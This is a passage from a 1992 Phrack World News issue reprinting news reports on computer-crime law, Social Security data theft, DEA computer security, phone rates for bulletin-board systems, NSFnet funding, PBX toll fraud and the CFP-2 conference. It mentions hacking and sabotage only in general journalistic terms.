The present law, as interpreted in the Morris case, recognizes no such distinction. This is contrary to long‑standing notions of fairness in our system of criminal law, which acknowledges that between two persons who cause the same harm, the one who intended that result is more culpable than the one who did not.

A third part of the statute that needs revision relates to computerized medical records. It is too broad because it includes as felonious conduct the unauthorized access to such records that "potentially modifies or impairs" medical treatment or care. Virtually every unauthorized access to computers containing medical records carries this potential. A better solution would be simply to make any "unauthorized access" of computerized medical records data a misdemeanor, with the intentional modification or destruction of such data designated as a felony.

Amend, But Don't Expand

These slight but important amendments would serve to clarify and improve a basically sound law without stifling the creativity of persons akin to those who have been responsible for many of the advances in computer technology in this country. More expansive revisions are ill‑advised, as they may unnecessarily encroach on evolving privacy and free‑expression interests.

A broadening of federal involvement is also inappropriate. Nearly every state has enacted laws against computer fraud and abuse and, as Congress recognized in 1986, federal jurisdiction should be limited to cases where there is a compelling federal interest. This might include instances where computers belonging to the federal government or to financial institutions are involved, or cases where the crime itself is interstate in nature. Furthermore, other computer crimes should be left to prosecution by the individual states, as is presently the case.

In sum, the 1986 Computer Fraud and Abuse Act would benefit from some clarification, but expansion of its coverage and wholesale revisions are both ill‑advised and unnecessary.

Note: Thomas A Guidoboni is an attorney with Bonner & O'Connell in Washington, D.C. He represented Robert T. Morris in the Internet virus case.

________________________________________

Private Social Security Data Sold to Information Brokers February 29, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By R.A. Zaldivar (San Jose Mercury News)

Washington, D.C. ‑‑ The privacy of 200 million Americans with records at the Social Security Administration is threatened by an illegal trade in pilfered computer files. Computerization has dramatically improved our ability to serve the public," Social Security Deputy Commissioner Louis Enoff told a Senate panel. "However, it has also made confidentiality more difficult."

Two executives of Nationwide Electronic Tracking, a Tampa, Florida, company, pleaded guilty to conspiracy charges in January for their part in a national network selling Social Security records. Twenty‑three people, including agency employees and police officials, have been indicted in the case ‑‑ the largest known theft of government computer data. "Information brokers" will pay Social Security employees $25 for a person's earnings history and then sell the data for as much as $300. Their growing list of customers includes lawyers, private investigators, employers, and insurance companies.

Social Security records contain a mother lode of information that includes not only a person's past earnings but names of employers, family history and even bank account numbers of people who receive benefits by direct deposit. The information can be used to find people or to make decisions on hiring, firing, suing or lending, said Larry Morey, deputy inspector general of the Health and Human Services Department.

"Here we have a large‑scale invasion of the Social Security system's confidentiality," said Senator Daniel P. Moynihan, D‑N.Y., chairman of the Social Security subcommittee.

Information from other government data bases with records on individuals ‑such as the FBI's National Criminal Information Center ‑‑ is also available on the underground market. All a broker needs is the cooperation of a clerk at a computer terminal.

Congress may revise privacy laws to increase penalties for illegally disclosing information in the private files of individuals.

Enoff said Social Security is studying ways to improve computer security, as well as keeping closer tabs on employees with access to files, and stressing to its workers that unauthorized disclosure of information is a federal crime.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Related articles can be found in Phrack World News, Issue 37, Part One:

Indictments of "Information Brokers" January 1992

Taken from The Privacy Journal

SSA, FBI Database Violations Prompt Security Evaluations January 13, 1992 By Kevin M. Baerson (Federal Computer Week)(Pages 1, 41)

________________________________________

Back to Act I March 3, 1992

~~~~~~~~~~~~~

Taken from Communications Daily (Page 2)

"Supreme Court Lets Stand Ruling That FCC Ban On Indecency Is Unconstitutional"

FCC's 24‑hour ban on indecent programming is unconstitutional, U.S. Supreme Court ruled in refusing to consider unanimous U.S. Appeals Court, D.C., decision. Supreme Court action also effectively overruled December 1988 rider to Senate appropriations bill directing FCC to ban all indecent programming. Last summer, en banc Appeals Court had refused to reconsider May decision by unanimous 3‑judge panel that FCC ban is unconstitutional.

FCC, with support of Justice Department, had asked Supreme Court to reconsider case. Coalition of 14 intervenors, including Action for Children's TV (ACT), had opposed FCC in Appeals Court and Supreme Court. En banc Appeals Court said that none of 13 judges who participated "requested the taking of a vote" on whether to rehear case. On Supreme Court, Justices Sandra O'Connor and Byron White voted to reconsider case. FCC's definition of indecency: "Language or material that depicts or describes, in terms patently offensive as measured by contemporary community standards . . . sexual or excretory activities or organs." Agency has fined several stations for indecent programming in the last year.

With loss in Supreme Court, FCC official told us "we don't have any choices left" but to permit such programming to be broadcast. "We're back to Act I." Source predicted, and other FCC officials agreed, that agency soon will issue rulemaking to make a ban on indecent programming later than 8 p.m. Same sources expect Congress once again to take up issue.

ACT President Peggy Charren said: "It's very exciting for ACT to have won one for the First Amendment. We always knew it's preposterous for the FCC to try to ban speech at 3 o'clock in the morning to protect children . . . It's very satisfying to have this particular [conservative] Supreme Court agree with us." NAB (which also was intervernor in case) Associate General Counsel Steve Bookshester said Supreme Court "correctly" acted in not reviewing lower court decision: "Now, it's up to the Commission to adopt new procedures to determine when such material is permitted to be broadcast." Washington attorney Timothy Dyk, who represented intervenors, said: "I think it's a very happy result . . . The Court of Appeals decision is exactly where it should be in terms of a safe harbor."

________________________________________

Drug Enforcement Data Are Vulnerable Through Phone Lines March 4, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Taken from Communications Daily (Page 5)

Classified information in computers of Drug Enforcement Administration (DEA) is at risk, General Accounting Office (GAO) said in a report. It said DEA doesn't provide adequate protection of classified information because too many people have access to computers that store data, and computers with classified information are hooked into nonsecure telephone lines, making them vulnerable to outside intrusion.

Report, Computer Security: DEA Is Not Adequately Protecting National Security Information (GAO/IMTEC‑92‑31), said it found several instances of lax physical and electronic security at DEA computers in several locations. Although there are no known instances of security breaches, "these disturbing security weaknesses pose serious risks that could potentially hinder DEA's mission and threaten the lives of federal agents," the report said. The report found that DEA isn't complying with standard security guidelines outlined by National Security Agency.

In preliminary findings, GAO was so concerned with security weaknesses that it called in Department of Justice on January 9 and furnished it with a "limited official use" version of its report to give DEA time to correct problems, said Rep. Wise (D‑W.Va.), chairman of House Government Operations Subcommittee, who ordered the investigation. He said other government agencies should be wary of sharing information with DEA until security problems have been eliminated. Calls to DEA on progress of follow‑up security procedures weren't returned. Findings are "indicative" of typical "apathetic security attitude" that the government has, said David Banisar, security expert for Computer Professionals for Social Responsibility.

GAO investigators found DEA couldn't adequately identify what computers used classified information. "DEA cannot ensure that adequate safeguards are in place for protecting national security information," report said. In spite of federal guidelines, GAO found that DEA hasn't "completed a risk analysis" of computer system. Some classified computers were found to be operated in areas where contractors ‑‑ with no security clearances ‑‑ moved around with no restrictions. No computers were found to be "tempest" hardened, meaning electronic emissions from keyboards can't be picked up.

In light of concern on outside intrusion from "hackers," GAO found several DEA computers were connected by phone lines "that are not encrypted" ‑‑ which it described as clear violation of national security guidelines. The report said "unauthorized individuals can intercept or monitor information emanating from and transmitted by" the agency without being detected. Classified information was found to be stored on hard disks in an "inadvertent" manner, allowing for the possibility that computers, when resold, still might hold data. One such occurrence, recorded by GAO in its report, occurred last year when sensitive grand jury information on informants was left on surplus computers sold by DoJ at a public auction.

The report said that DEA has acknowledged weaknesses "and is taking action to correct them."

________________________________________

BBS Controversy Brews Close To Home March 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Taken from Puget Sound Computer User

Special Thanks: Peter Marshall in Telecom Digest

In a case before the Public Utility Commission of Oregon, US West is maintaining three phone lines connected to a free‑access BBS in a residence should be billed at business rates. Because of the similarities in tariffs >from state to state and US West's position in the case, many are predicting that if US West prevails, the company will be authorized to raise all Oregon BBS lines to business rates and try to raise rates for BBS lines in US West's remaining 13 states.

The case started when Tony Wagner, a Portland system operator, received a letter from US West in October, 1991. In the letter, Communications Consultant Sandi Ouelette said "Bulletin board services are considered a business, therefore, subject to business rates ..."

One Seattle attorney interested in telecommunications said these attempts by the phone companies to raise rates for BBSes are "just another attempt to swipe people's communication."

________________________________________

1‑800‑54‑PRIVACY March 10, 1992

~~~~~~~~~~~~~~~~

Taken from Communications Daily

American Newspaper Publishers Association (ANPA) President Cathleen Black asked American Paper Institute to support the newspaper industry's fight against RHCs, warning that the market for paper could drop if phone companies are allowed to expand activities into information services. Increased electronic classified ads and other services could lead to cutbacks in demand for newsprint, Black said. Newspaper producers, traditionally allied with ANPA, said they would study the matter.

Meanwhile, full‑page newspaper ads placed by ANPA and allied Consumer Federation, Graphic Communications International Union, National Newspaper Association, and Weatherline have generated thousands of calls to an 800 number >from readers concerned about potential invasions of privacy by telephone companies. The latest ad ran in the March 7 Washington Post, under the headline: "Unless they're stopped, the Bells will know more about you than even the IRS." The ad advised callers to dial 1‑800‑547‑7482, referred to in the telephone message as "1‑800‑54‑privacy."

Gary Slack, of the Chicago PR firm Slack, Brown & Myers, which is coordinating the 800 campaign, said that the angle in the ad has become an effective weapon against RHCs because "there are a lot of people concerned about privacy." Callers are sent a 4‑page letter signed by Black and "action guidelines" for asking legislators to support bills by Representative Cooper (D‑Tenn.) (HR‑3515) and Senator Inouye (D‑Hawaii) (S‑2112) that would restrict RHC entry into information services. ANPA has argued that, through data on telephone bills, information can be collected about callers.

RHCs didn't have the incentive to use that data before, but now with the ability to offer information services, they do, ANPA said. ANPA generally doesn't pay for ads, but offers them to newspapers to run when they have space, a spokesman said. Pacific Telesis Vice‑President Ronald Stowe said ANPA ads "show desperation and questionable ethics." He said ANPA is using some of same tactics it has accused RHCs of using, including collecting information on subscribers. ANPA ads are "really sewer‑level stuff," Stowe said: "There are enough legitimate issues that ought to be debated."

*** Editor's Note: For more information on this story, please see "Standing Up To Fight The Bells" by Knight Lightning in this issue of Phrack.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Missouri Bulletin Board Case Settled March 24, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Taken from Communications Daily (Page 6)

Southwestern Bell in Missouri has filed a new tariff with the Missouri Public Service Commission (PSC) to allow computer bulletin board (BBS) operators to use residential lines. The tariff would take effect April 10 if there are no complications. Under proposal, the BBS operators at homes would be allowed to continue to use residence lines if they don't "solicit or require any remuneration, directly or indirectly, in exchange for access" and use 4 or fewer residential lines priced at flat rates.

BBSes that don't meet those requirements would be required to use business lines. The tariff, negotiated between SWB and representatives of BBS operators, defines a BBS as "a data calculating and storage device(s) utilized as a vehicle to facilitate the exchange of information through the use of Southwestern Bell Telephone Company facilities." BBS language is part of a high‑grade Information Terminal Service originally aimed at business users with computers, but interpreted by BBS operators as targeted at them. SWB originally had wanted to make the new service mandatory for computers with modems, but the new proposal, submitted March 11, makes it optional.

*** Editor's Note: For more information, please see the numerous articles on this topic in Phrack World News, Issue 37, Part 3.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

In a surprising turn of events, the April 14, 1992 issue of Communications Daily reports that U.S. West in the state of Washington has decided not to follow the example of Oregon attempt to raise rates for electronic bulletin board (BBS) hobbyists.

Patsy Dutton, consumer affairs manager for Washington Utilities & Transportation Commission (WUTC), asked U.S. West about its policy after receiving request from BBS operators.

In a letter dated March 31 to system operator Bruce Miller, Dutton said she had reviewed U.S. West tariff and had talked with company representatives as to current and future plans for BBS service: "The company indicates it has no intention of changing its current procedure." Residential service would be available for hobbyists, with business rates applying under other conditions.

An Oregon PUC law judge is currently considering complaint against U.S. West for raising rates of bulletin board operators there.

________________________________________

Congress Explores Dropping Subsidy of Federal Science Network March 13, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Taken from Communications Daily (Page 6)

"Fairness For All Is Urged"

In hearing, Representative Boucher (D‑Va.) questioned National Science Foundation (NSF) on its management policies and future direction of NSFnet, national research network. He said it's "essential" that NSFnet be structured so all commercial providers of network services "receive equal treatment" and that government policy for managing the network "not favor any provider" or set of providers.

The current process of using federal money to subsidize NSFnet is "obsolete" said Mitchell Kapor, representing Commercial Internet Exchange (CIX) Association, a consortium of commercial network services suppliers. Although federal money was necessary in the "early stages," when technology for building the network still was "experimental," now that the network is in place, government subsidy should stop, Kapor said. He said CIX members can provide "any level of service" needed by the same community served by NSFnet ‑research and education. Kapor said CIX members could build and service national backbones with "off‑the‑shelf" technology; however, he said, because federal money goes to support the current network backbone, NSFnet users are allowed on the network free and don't have an incentive to use commercial services.

William Schrader, president of Performance Systems International (PSI), said government could level the playing field by providing money directly to individual universities and letting them choose, on a "free‑market" basis, which network service provider to use. That system, he said, would provide incentive for several suppliers to upgrade networks in efforts to corral most customers. Kapor said it also would "push the envelope" of technology to an even greater level. With the current system in place, the technological level of the network will evolve more slowly because there would be no incentive to provide a higher level of service, he said.

Current users of NSFnet spoke against changing the status quo. Michael Roberts, VP‑networking for Educom, a task force of 48 universities, said that removing funding for the network would be "horrendous." By requiring individual universities to seek out their own service providers, he said, government would have to institute another level of bureaucracy, creating "thousands of entitlements," which would be impossible logistically. Douglas Van Houweling, speaking for NSFnet manager Merit, said removal of funding most likely would upset the networks' level of stability, leading to disruption in service that "millions of users" have become accustomed to. By letting "any number" of commercial providers supply network services, there would be no guarantee of level of service, which is a "vital" mission of research labs, universities and federal agencies now using the network, Van Houweling said.

Federal agencies would rather have a stable network than improved service, said Stephen Wolff, director of NSF's Networking & Communications Division. He told Boucher that federal agencies didn't want the network open to competition because they feared it would degrade the quality of service. Wolff said NSF would proceed with its plan to commercialize network "within 5 years" as requested under the recently voted High‑Performance Computing Act. He also said he had presented to universities the idea of providing them with federal money and letting them purchase network services in the free market. The proposal was "soundly rejected," he said, because universities didn't feel they were able to make such decisions. Instead, they supported NSF's current proposal of rebidding network management so that 2 network providers would be in place. The new system would operate on model of government's FTS 2000 program. NSF would grant awards for network services to 2 companies and have an independent 3rd party act as "traffic manager" to ensure one network provider wasn't favored over another.

________________________________________

MCI and Sprint Take Steps To Cut Off Swindlers April 1, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By Kent Gibbons (The Washington Times)(Page C1)

MCI and Sprint are cracking down on telephone fraud.

The two long‑distance carriers are tackling different kinds of swindles, though:

* MCI said it will stop sending out bills for pay‑per‑call operators who promise help getting a loan, credit, a credit card or a job.

* Sprint said it will offer large business customers a form of liability insurance against unauthorized use of corporate switchboard lines.

MCI Communications Corporation of the District said it wanted to protect consumers who might be gulled into overpaying for some "900‑number" services during economic troubles.

But long‑distance carriers are also guarding their own bottom lines by tightening up pay‑per‑call standards, said telecommunications analyst James Ivers.

"They're acting fiscally responsibly because traditionally, these were the types of programs that created a high level of uncollectible" bills when ripped‑off consumers refused to pay, said Mr. Ivers, senior analyst with Strategic Telemedia, a consulting firm in New York.

Last September, Sprint Corporation, of Kansas City, MO, told more than 90 percent of its 900‑number customers it would no longer do their billing. Longdistance firms cannot refuse to carry pay‑per‑call services, but most 900number operators do not want the expense and trouble of doing their own collections.

American Telephone & Telegraph Co., of New York, said it has set up strict guidelines for all 900‑number firms, such as disclosing in advertising any fees charged for credit processing.

AT&T spokesman Bob Nersesian said: "We still think there are legitimate providers of this kind of service and our guidelines keep the dishonest guys off the network."

Sprint's switchboard‑fraud liability protection is aimed at big customers, whose Sprint bills are more than $30,000 per month.

For an installation fee (up to $5,000) and a monthly charge (also up to $5,000), Sprint will absorb fraudulent phone charges above $25,000 per switchboard. The customer pays the first $25,000. Sprint's liability ends at $1 million.

Large and medium‑sized companies can rack up huge bills if their private switches, known as private branch exchanges or PBXes, are broken into and used to make calls to other countries.

In a recent case, more than 20,000 calls were made on a company's PBX over a weekend, with the charges estimated at more than $1 million, said M.R. Snyder, executive director of Communications Fraud Control Association, a Washington trade group.

"It is certainly a fraud target that is ripe for being abused," Ms. Snyder said, especially since telephone carriers have improved their ability to spot unauthorized credit‑card calls more quickly.

Overall, telecommunications fraud costs phone carriers and customers an estimated $1.2 billion per year, although the figure is really just a "guesstimate," Ms. Snyder said.

Company PBXes often have features that allow traveling employees, or distant customers, to call in and tap an outgoing line. With computer programs, hackers can randomly dial numbers until they hit security codes.

Sometimes the codes are only four digits, so hackers don't even need a computer, said Bob Fox, Sprint's assistant vice president of corporate security.

Along with the fees, customers must agree to take certain precautions. Those include using security codes at least eight digits long and eliminating the ability to tap outside lines through voice mail. In return, Sprint will also monitor PBX use every day, instead of the five days per week currently done free for customers, Mr. Fox said.

MCI spokesman John Houser said his company will be watching Sprint to see if the program is a success. Spokesman Andrew Myers said AT&T offers fraud protection to some corporate customers, but is not considering extending that to cover PBX abuse.

AT&T is currently involved in several lawsuits over disputed PBX charges that total "many millions" of dollars, Mr. Myers said. Sprint officials said they have not sued any customers to collect on PBX fraud bills.

________________________________________

Sprint Offers Liability Limit For Corporate Phone Fraud April 1, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By Edmund L. Andrews (New York Times)(Page D4)

The Sprint Communications Company, the nation's third‑largest long‑distance carrier, said that it would limit the liability of large corporate customers for the huge bills rung up by phone‑service thieves who manipulate a company's telephone switching equipment and voice‑mail systems.

Typically, such thieves call into a company on one of its toll‑free "800" numbers and then figure out the codes necessary to obtain an outgoing line that can be used to call anywhere in the world. These telephone "hackers" often sell plundered telephone codes to illegal operators who then sell overseas calls to hundreds of people at a time. Sprint officials said this sort of fraud approached $1 billion a year.

The new Sprint plan would be available to companies that signed two‑year contracts to buy at least $30,000 of international long‑distance service a month and agreed to adopt a series of protective measures. These include installing longer telephone codes that are harder for thieves to crack and new limits on the ability of voice‑mail systems to obtain outgoing lines.

In exchange, customers would be held responsible for no more than $25,000 in stolen calls for each round of break‑ins, and a maximum limit of $1 million a year. Although that is still a substantial sum, it is much less than many companies have lost in recent years from theft of service by telephone hackers.

A Point of Contention

Thieves broke into the switchboard of Mitsubishi International in New York in 1990, for example, and ran up $430,000 in overseas telephone calls. Procter & Gamble lost $300,000 in a similar incident in 1988. Had either company been operating under the new Sprint plan, its liability would have been limited to $25,000.

Long‑distance carriers and their corporate customers have long argued over who should bear responsibility for the huge bills caused by service theft. The carriers have maintained that their customers are responsible for these bills, even if fraud is undisputed, arguing that the thieves took advantage of weaknesses in the customers' equipment, rather than in the weaknesses of the long‑distance network itself.

But some corporate victims have argued that they had no idea their systems were vulnerable, while others contend that they incurred big losses even after adopting special security procedures.

MCI Moves Against '900' Fraud

In a separate issue involving telephone fraud, MCI Communications Corporation said it would no longer provide billing services for companies that use "900" numbers to offer credit cards, and that it would place tough new restrictions on the use of 900 numbers to sell job‑placement services, contests and sweepstakes.

The long‑distance company said its decision was based on numerous complaints about abusive and fraudulent sales practices. Companies that provide information through the use of telephone numbers with the 900 area code charge callers a fee each time they call the number. MCI and other long‑distance companies carry these calls and bill customers on behalf of the company that provides the information service.

Pam Small, an MCI spokeswoman, declined to say how much revenue the company would lose because of the suspension. But she said the 900 services that would be affected represented a small part of its pay‑per‑call business.

PWN/Part 3

==Phrack Inc.==

Volume Four, Issue Thirty‑Eight, File 15 of 15

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

PWN PWN

PWN Phrack World News PWN

PWN PWN

PWN Issue XXXVIII / Part Three of Three PWN

PWN PWN

PWN Compiled by Dispater & Friends PWN

PWN PWN

PWN Special Thanks to Datastream Cowboy PWN

PWN PWN

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

CFP‑2: Sterling Speaks For "The Unspeakable" March 25, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By Barbara E. McMullen & John F. McMullen (Newsbytes)

WASHINGTON, D.C. ‑‑ Bruce Sterling, the prime luncheon speaker at the 2nd Annual Conference On Computers Freedom & Privacy (CFP‑2), fulfilled his program billing as "Speaking for the Unspeakable" by taking on three separate persona and delivering what might have been their messages.

Sterling, best known as a science fiction writer, spoke for three characters, a "a malicious hacker," a Latin American police official, and a Hong Kong businessman, who were, in his words, "too venal, violent, treacherous, powermad, suspicious, or meanspirited to receive (or accept) an invitation to attend."

Sterling began his speech by introducing himself and then saying, "When the CFP committee asked me if I might recommend someone to speak here at CFP‑2, I had an immediate candidate. I thought it would be great if we could all hear from a guy who's been known as Sergei. Sergei was the KGB agent runner for the Chaos Computer Club group who broke into Cliff Stoll's computer in the famous Cuckoo's Egg case. Now Sergei is described as a stocky bearded Russian espionage professional in his mid‑40s. He's married, has kids and his hobby is fishing, in more senses than one, apparently. Sergei used to operate out of East Berlin, and, as far as I personally know, Sergei's operation was the world's first and only actual no‑kidding, real‑life case of international computer espionage. So I figured ‑‑ why not send Yelsin a fax and offer Sergei some hard currency; things are pretty lean over at KGB First Directorate these days. CFP could have flown this guy in from Moscow on a travel scholarship and I'm sure that a speech from Sergei would be far more interesting than anything I'm likely to offer here. My proposal wasn't taken up and instead I was asked to speak here myself. Too bad!

"This struck me as rather a bad precedent for CFP which has struggled hard to maintain a broad universality of taste. Whereas you're apparently willing to tolerate science fiction writers, but already certain members of the computer community, KGB agents, are being quietly placed beyond the pale. But you know, ladies and gentlemen, just because you ignore someone doesn't mean that person ceases to exist ‑‑ and you've not converted someone's beliefs merely because you won't listen. But instead of Comrade Sergei, here I am ‑‑ and I am a science fiction writer and, because of that, I rejoice in a complete lack of any kind of creditability!

"Today I hope to make the best of that anomalous position. Like other kinds of court jesters, science fiction writers are sometimes allowed to speak certain kinds of unspeakable truth, if only an apparent parody or metaphor. So today, ladies and gentlemen, I will exercise my inalienable civil rights as a science fiction writer to speak up on behalf of the excluded and the incredible. In fact, I plan to abuse my talents as a writer of fiction to actually recreate some of these excluded, incredible unspeakable people for you and to have them address you today. I want these people, three of them, to each briefly address this group just as if they were legitimately invited here and just as if they could truly speak their mind right here in public without being arrested."

Sterling then went on to assure the crowd that he was not speaking his personal conviction, only those of his characters, and warned the group that some of the material might be offensive. He then launched into the delivery of his characters' speeches ‑‑ speeches which had the hacker talking about real damage ‑‑ "the derailing of trains"; the Latin police official, a friend and admirer of Noriega, discussing the proper way of dealing with hackers; and the businessman explaining way, in the age of high speed copiers, laser printers and diskette copying devices, the US copyright laws are irrelevant.

Often intercepted by laughter and applause, Sterling received a standing ovation at the conclusion of the speech. Computer Press Association newsletter editor Barbara McMullen was overhead telling Sterling that he had replaced "Alan Kay as her favorite luncheon speaker," while conference chair Lance Hoffman, who had received an advance copy of the speech a few weeks before, described the speech as "incredible and tremendous".

Sterling, relaxing after the talk with a glass of Jack Daniels, told Newsbytes that the speech had been fun but a strain, adding, "Next time they'll really have to get Sergei. I'm going back to fiction."

Sterling's non‑fiction work on computer crime, "The Hacker Crackdown" is due out from Bantam in the fall and an audio tape of the CFP‑2 speech is available >from Audio Archives. He is the author of "Islands In The Net" and is the coauthor, with William Gibson, of the presently best‑selling "The Difference Engine."

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

The Bruce Sterling luncheon video tape is now available, sizzling, and affordable to the Phrack readers.

$19.95 + $4 (shipping and handling)

Call now: (800)235‑4922

or

CFP Video Library Project

P.O. Box 912

Topanga, CA 90290

Tell them you heard about it from The WELL and you'll get the above price.

________________________________________

CFP‑2 Features Role‑Playing FBI Scenario March 25, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By Barbara E. McMullen (Newsbytes)

WASHINGTON, D.C.‑‑ As part of the "Birds‑of‑a‑Feather" (BOF) sessions featured at the 2nd Conference on Computers, Freedom & Privacy (CFP‑2), FBI Agent J. Michael Gibbons, acting as a live gamemaster, orchestrated the play‑acting of an investigation by federal agents into allegations of computer intrusion and criminal activity.

The scenario, set up by Gibbons to show the difficulties faced by investigators in balancing the conducting of an investigation with a protection of the rights of the individual under investigation, was acted out with non‑law enforcement officials cast in the role of investigators; New York State Police Senior Investigator Donald Delaney as "Doctor Doom," the suspected ringleader of the computer criminals; Newsbytes New York Bureau Chief John McMullen as a magistrate responsible for considering the investigators' request for a search warrant; and author Bruce Sterling as a neighbor and possible cohort of Doctor Doom.

Gibbons, in his role of Gamemaster, regularly intercepted the action to involve the audience in a discussion of what the appropriate next step in the scenario would be ‑‑ "Do you visit the suspect or get a search warrant or visit his school or employer to obtain more information? Do you take books in the search and seizure? Printers? Monitors? etc." During the discussion with the audience, points of law were clarified by Mike Godwin, Electronic Frontier Foundation in‑house counsel, and Alameda County Assistant District Attorney Donald Ingraham.

The role‑playing session immediately followed a BOF panel, "Hackers: Why Don't They Understand" which attempted to present a hacker view of on‑line ethics. The panel, moderated by McMullen, was composed of Steven Levy, MacWorld columnist and author of "Hackers"; Dorothy Denning, Chair of Computer Science at Georgetown University; Glenn Tenney, California Congressional candidate and chair of the annual "Hacker's Conference"; Craig Neidorf, defendant in a controversial case involving the electronic publishing of a stolen document; "Dispater," the publisher of the electronic publication "Phrack"; Emmanuel Goldstein, editor and publisher of "2600: The Hacker Quarterly," and hacker "Phiber Optik."

During the panel discussion, Levy, Denning and Tenney discussed the roots of the activities that we now refer to as hacking, Goldstein and Dispater described what they understood as hacking and asked for an end to what they see as overreaction by the law enforcement community, Neidorf discussed the case which, although dropped by the government, has left him over $50,000 in debt; and Phiber Optik described the details of two searches and seizures of his computer equipment and his 1991 arrest by Delaney.

In Neidorf's talk, he called attention to the methods used in valuing the stolen document that he published as $78,000. He said that it came out after the trial that the $78,000 included the full value of the laser printer on which it was printed, the cost of the word processing system used in its production and the cost of the workstation on which it was entered. Neidorf's claims were substantiated by EFF counsel Godwin, whose filing of a motion in the Steve Jackson cases caused the release of papers including the one referred to by Neidorf. Godwin also pointed out that it was the disclosure by interested party John Nagle that the document, valued at $78,000, was obtainable in a book priced at under $20.00 that led to the dropping of the charges by the US Attorney's office.

SRI security consultant Donn Parker, one of the many in the audience to participate, admonished Phiber and other hackers to use their demonstrated talents constructively and to complete an education that will prepare them for employment in the computer industry. Another audience member, Charles Conn, described his feeling of exhilaration when, as a 12‑year old, he "hacked" into a computer at a local Kentucky Fried Chicken. Conn said "It was wonderful. It was like a drug. I just wanted to explore more and more."

Parker later told Newsbytes that he thought that it was a mistake to put hackers such as Phiber Optik and those like Craig Neidorf who glorify hackers on a panel. Parker said, "Putting them on a panel glorifies them to other hackers and makes the problem worse."

The Birds‑of‑a‑Feather sessions were designed to provide an opportunity for discussions of topics that were not a part of the formal CFP‑2 program.

________________________________________

Computer Revenge A Growing Threat March 9, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By Tom Steinert‑Threlkeld (Dallas Morning News)

Article in the Chicago Tribune, Page C3

The "downsizing" of corporate America is not only making companies lean and mean.

It's doing the same thing to employees losing their jobs, said Thomas F. Ellis, a partner in Arthur Andersen & Co.'s Computer Risk Management Services.

He looks at the latest form of revenge by employee against former employer. Fraud, embezzlement and theft of secrets are no longer the only forms of frustrated payback. The calling card in the digital age is computer sabotage.

It's an invisible epidemic that corporations don't like to talk about while they're trying to convince banks and creditors they are becoming more efficient by downsizing, said Ellis and William Hugh Murray, information systems security consultant to Deloitte & Touche, another of the Big Six accounting firms.

"A lot of the business trends in the U.S. are really threatening data security," said Sanford M. Sherizen, a Natick, Massachusetts computer security consultant. "Corporations are paying a huge price for it," without disclosing it.

The downsizing has led to inadequate attention to security precautions, argues Sherizen. The underlying trend: Fewer and fewer people are being given more and more responsibility for information systems.

That breeds opportunity for revenge, said Sherizen. No longer does only the supposedly misfit hacker, gulping down Cokes and Fritos in the middle of the night, merit watching. Sherizen's worldwide set of clients have found that the middle manager wearing the white shirt and tie in the middle of the day also deserves scrutiny, he says.

Those managers, if mistreated, find it inviting to strike back creatively. The VTOC, for example.

This is jargon for the Volume Table of Contents. This is a directory a computer compiles to keep track of where programs and data are stored. A large Andersen client was paralyzed recently when a VTOC in its information system was scrambled by a downsizing victim, Ellis said.

"If you destroy the VTOC in a mainframe system, then you destroy the computer's ability to go out and find programs and data, so you can pretty effectively devastate a computer installation by destroying the VTOC, without ever touching the programs and data," he said.

But those bent on revenge are not above leaving time bombs in computer systems that will go off after their departure, destroying programs and data.

They also are appropriating information from magnetic memories and selling it at hefty prices in the burgeoning field known euphemistically as "commercial business intelligence," said Sherizen.

Most companies hush up these cases, because they fear copycat avengers will strike when their vulnerability is exposed. They also don't like to be publicly embarrassed, the security experts say.

Technical safeguards don't hold a candle to human safeguards, said Murray.

The best way to protect against sabotage is to prevent disaffection in the first place. Treat as well as possible those who are being fired. Compensate fairly those who are staying.

Show appreciation, day in and day out. Most revenge is slow to boil and comes >from employees who finally conclude that their contributions are going unrecognized, said Murray.

"Saying 'please' and 'thank you' are an incredibly important control" against sabotage, he said.

________________________________________

Computer Crime Problem Highlighted March 9, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By Oscar Rojo (Toronto Star)(Page B3)

With the growing corporate dependence on computers, "information crimes" have become easier to commit but harder to detect, says a Toronto‑based security company.

"Electronic intrusion is probably the most serious threat to companies that rely on computerized information systems," Intercon Security Ltd. says in its Allpoints publication.

Allpoints cited a study of 900 businesses and law enforcement agencies in Florida showing that one of four businesses had been the victim of some form of computer crime.

"While most of the media attention has focused on "hackers," individuals who deliberately and maliciously try to disrupt business and government systems, one estimate indicates that 75 per cent plus of electronic intrusion crimes may be "insider attacks" by disgruntled employees," the publication said.

In Intercon's experience, vice‑president Richard Chenoweth said the company is as likely to find a corporate crime committed by a disgruntled employee as one perpetrated by an outsider.

Intercon said the technology exists to guard against most electronic intrusions. "The problem is that many information managers still don't believe there is a risk, so they are not making the best possible use of what is available."

________________________________________

Criminals Move Into Cyberspace April 3, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By Mick Hurrell (The Times)(Features Section)

The hacker and the virus programmer embodied the popular notion of computer crime in the 1980s, and they are still the most widely known criminal acts in computer technology.

